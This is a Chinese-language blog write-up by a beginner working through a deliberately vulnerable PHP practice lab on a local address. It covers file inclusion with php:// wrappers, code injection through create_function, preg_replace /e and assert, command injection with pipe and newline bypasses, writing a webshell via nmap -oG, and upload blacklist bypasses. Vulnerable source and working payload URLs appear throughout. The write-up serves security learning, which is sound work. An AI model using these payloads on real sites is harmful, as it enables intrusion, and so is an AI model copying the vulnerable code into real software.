寒假看到一个练习题,很有意思也很适合我这样的新手,于是下载下来练手。
下载地址
参考链接
打开之后长这样:
可以看到page
处可能可以进行任意文件读取。
我们尝试读取该文件的源码,发现
于是换成了php伪协议,解码之后,代码如下:
require_once '../header.php'; ?>
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
require_once '../footer.php'; ?>
那就很好办了。用php伪协议,用input查看phpinfo,然后再利用系统命令执行函数:
初步猜测它会自动添加.php
后缀,当page
值为intro.php%00
时,依然可读取该文件。于是和example1相同,利用伪协议执行命令。
源码如下:
require_once '../header.php'; ?>
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
require_once '../footer.php'; ?>
任意文件包含漏洞主要由于require(),include()等函数的参数没有进行严格的过滤及php.ini中的配置项
的开启导致的。
alow_url_fopen ON
allow_url_include ON
尝试闭合:
双引号用来闭合,分号用来结束语句,注释符把原来闭合的双引号注释掉。在分号和注释符之间可以插入任意PHP语句。
如:
这个例子的闭合我想了很久也没想出来,看了文章之后才明白。
我们看关键的一段代码:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
usort()为排序函数。
create_function()为创建一个简单函数,上面的语句相当于为:
function abc($a, $b)
{
return strcmp($a->$order,$b->$order);
}
?>
作为一个函数,必然要执行代码,而我们的$order
可控,于是按照函数来进行闭合即可进行代码注入:
http://192.168.249.143/codeexec/example2.php?order=id);}//
这里先闭合strcmp函数,结束语句,再闭合函数,然后用注释符把原代码注释掉,然后就可以执行任意代码了。
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
这题我也是看到了源码才知道的解法,该题利用preg_replace()将$base
中的字符输出,但会按照$pattern
中匹配的字符替换成$new
中的字符。但当该函数匹配模式有/e时会将$new
中的字符串当作代码处理。于是就很简单了:
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>
这题是利用assert()函数,进行代码执行。只要闭合函数即可。
payload:http://192.168.249.143/codeexec/example4.php?name='.phpinfo();//
代码执行漏洞主要由于eval()、assert()等函数对参数的过滤不严格导致的。
利用管道符即可。
payload:http://192.168.249.143/commandexec/example1.php?ip=127.0.0.1|ls
看源码:
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
这里使用了正则表达式来检测这一行是否为“数字.数字.数字.数字”的情况,但是/m
的匹配模式可以用换行符进行绕过。
于是我们构造payload:http://192.168.249.143/commandexec/example2.php?ip=127.0.0.1%0als
即可。
该网页进行了一个重定向,但命令依旧是被执行了的,所以抓包即可。
这个是我自己写的题,主要是记一下这个特殊的命令执行方式,代码如下:
$a = $GET['a'];
echo `$a`;
?>
这里的反引号会获取执行$a
后返回的结果,在某个CTF中里遇见了该命令执行方式,记录一下。
打省赛的时候做到的一题,记录一下。
nmap工具使用-oG参数时可以写入文件
英文文档在这。
例如省赛的题解:
?host=' -oG hack.php
意思就是将这句木马写入hack.php文件中。
没有过滤,上传一句话木马即可。
这里对php后缀进行了黑名单过滤,我们可以尝试用大小写绕过或者phtml等后缀绕过。
成功后用菜刀连接即可。